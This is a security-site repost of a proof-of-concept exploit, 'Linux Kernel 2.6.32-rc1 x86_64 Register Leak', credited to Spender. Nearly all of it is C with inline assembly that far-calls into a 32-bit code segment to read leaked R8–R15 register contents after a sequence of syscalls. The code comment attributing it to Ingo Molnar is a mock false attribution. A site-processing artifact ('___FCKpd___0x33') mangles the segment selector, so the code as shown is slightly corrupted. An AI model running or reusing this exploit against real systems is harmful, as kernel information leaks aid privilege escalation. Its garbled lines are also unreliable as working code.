首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.6.32-rc1 x86_64 Register Leak
来源:spender at getrewted.net 作者:Spender 发布时间:2016-11-24  
/* written by Ingo Molnar -- it's true because this comment says the exploit
   was written by him!
*/
 
#include <stdio.h>
#include <sys/syscall.h>
 
unsigned int _r81;
unsigned int _r82;
unsigned int _r91;
unsigned int _r92;
unsigned int _r101;
unsigned int _r102;
unsigned int _r111;
unsigned int _r112;
unsigned int _r121;
unsigned int _r122;
unsigned int _r131;
unsigned int _r132;
unsigned int _r141;
unsigned int _r142;
unsigned int _r151;
unsigned int _r152;
 
int leak_it(void)
{
    asm volatile (
    ".intel_syntax noprefix\n"
    ".code32\n"
    "jmp label1\n"
    "farcalllabel1:\n"
    ".code64\n"
    "mov eax, r8d\n"
    "shr r8, 32\n"
    "mov ebx, r8d\n"
    "mov ecx, r9d\n"
    "shr r9, 32\n"
    "mov edx, r9d\n"
    "mov esi, r10d\n"
    "shr r10, 32\n"
    "mov edi, r10d\n"
    ".att_syntax noprefix\n"
    "lret\n"
    ".intel_syntax noprefix\n"
    "farcalllabel2:\n"
    "mov eax, r11d\n"
    "shr r11, 32\n"
    "mov ebx, r11d\n"
    "mov ecx, r12d\n"
    "shr r12, 32\n"
    "mov edx, r12d\n"
    "mov esi, r13d\n"
    "shr r13, 32\n"
    "mov edi, r13d\n"
    ".att_syntax noprefix\n"
    "lret\n"
    ".intel_syntax noprefix\n"
    "farcalllabel3:\n"
    "mov eax, r14d\n"
    "shr r14, 32\n"
    "mov ebx, r14d\n"
    "mov ecx, r15d\n"
    "shr r15, 32\n"
    "mov edx, r15d\n"
    ".att_syntax noprefix\n"
    "lret\n"
    ".intel_syntax noprefix\n"
    ".code32\n"
    "label1:\n"
    ".att_syntax noprefix\n"
    "lcall ___FCKpd___0x33, $farcalllabel1\n"
    ".intel_syntax noprefix\n"
    "mov _r81, eax\n"
    "mov _r82, ebx\n"
    "mov _r91, ecx\n"
    "mov _r92, edx\n"
    "mov _r101, esi\n"
    "mov _r102, edi\n"
    ".att_syntax noprefix\n"
    "lcall ___FCKpd___0x33, $farcalllabel2\n"
    ".intel_syntax noprefix\n"
    "mov _r111, eax\n"
    "mov _r112, ebx\n"
    "mov _r121, ecx\n"
    "mov _r122, edx\n"
    "mov _r131, esi\n"
    "mov _r132, edi\n"
    ".att_syntax noprefix\n"
    "lcall ___FCKpd___0x33, $farcalllabel3\n"
    ".intel_syntax noprefix\n"
    "mov _r141, eax\n"
    "mov _r142, ebx\n"
    "mov _r151, ecx\n"
    "mov _r152, edx\n"
    ".att_syntax noprefix\n"
    );
 
    printf(" R8=%08x%08x\n", _r82, _r81);
    printf(" R9=%08x%08x\n", _r92, _r91);
    printf("R10=%08x%08x\n", _r102, _r101);
    printf("R11=%08x%08x\n", _r112, _r111);
    printf("R12=%08x%08x\n", _r122, _r121);
    printf("R13=%08x%08x\n", _r132, _r131);
    printf("R14=%08x%08x\n", _r142, _r141);
    printf("R15=%08x%08x\n", _r152, _r151);
    return 0;
}
 
/* ripped from jon oberheide */
const int randcalls[] = {
    __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
    __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
    __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
    __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
    __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
    __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
    __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
    __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
    __NR_sched_getparam, __NR_sched_get_priority_max
};
 
int main(void)
{
    /* to keep random stack values from being used for pointers in syscalls */
    char buf[64] = {};
    int call;
    for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
        syscall(randcalls[call]);
        leak_it();
    }
 
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.18 move_pages
·Linux Kernel 2.6.x pipe.c Priv
·Chrome Blink SpeechRecognition
·Linux Kernel 4.6.3 Netfilter P
·Linux Kernel 2.6.32-642 / 3.16
·Microsoft Windows Kernel - 'wi
·Microsoft Internet Explorer 8
·GNU Wget < 1.18 - Access List
·Microsoft Internet Explorer 8
·Remote Utilities Host 6.3 - De
·TP-LINK TDDP - Multiple Vulner
·Osticket 1.9.14 - 'X-Forwarded
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved